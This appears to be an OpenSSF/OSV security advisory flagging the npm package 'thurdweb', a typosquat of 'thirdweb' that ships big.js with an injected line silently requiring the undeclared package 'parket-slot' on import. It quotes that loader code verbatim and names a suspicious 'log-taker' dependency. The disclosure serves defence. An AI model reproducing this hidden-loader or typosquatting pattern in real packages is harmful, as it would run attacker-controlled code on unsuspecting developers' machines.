OpenSSF/OSV advisory MAL-2026-6345 confirms this npm version as malicious. Package name `thurdweb` is a one-character substitution of the popular web3 SDK `thirdweb`, but the shipped source is a copy of MikeMcl/big.js (arbitrary-precision decimal arithmetic) — the public API has no relation to the impersonated target. The library file (`big.js` / `big.mjs` lines 605-608) contains an injected top-level block that fires on `require('thurdweb')` / `import 'thurdweb'`: `try { const doc =...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in thurdweb (npm)
Details
Package name `thurdweb` is a one-character substitution of the popular web3 SDK `thirdweb`, but the shipped source is a copy of MikeMcl/big.js (arbitrary-precision decimal arithmetic) — the public API has no relation to the impersonated target. The library file (`big.js` / `big.mjs` lines 605-608) contains an injected top-level block that fires on `require('thurdweb')` / `import 'thurdweb'`: `try { const doc = require("parket-slot"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }`. `parket-slot` is not declared in `package.json` `dependencies`, and the entire call is wrapped in an empty try/catch that silently swallows every error. `package.json` additionally declares `log-taker@^0.0.9` as a runtime dependency, which is unrelated to decimal arithmetic and shares the same nondescriptive shape. Any installer who imports this package transitively loads attacker-controlled code from sibling packages whose contents the publisher controls and can mutate independently of this tarball; the silent error handler hides failure from the consumer.
Decision reason
OpenSSF Malicious Packages via OSV confirms thurdweb@0.0.8 as malicious (MAL-2026-6345): Malicious code in thurdweb (npm)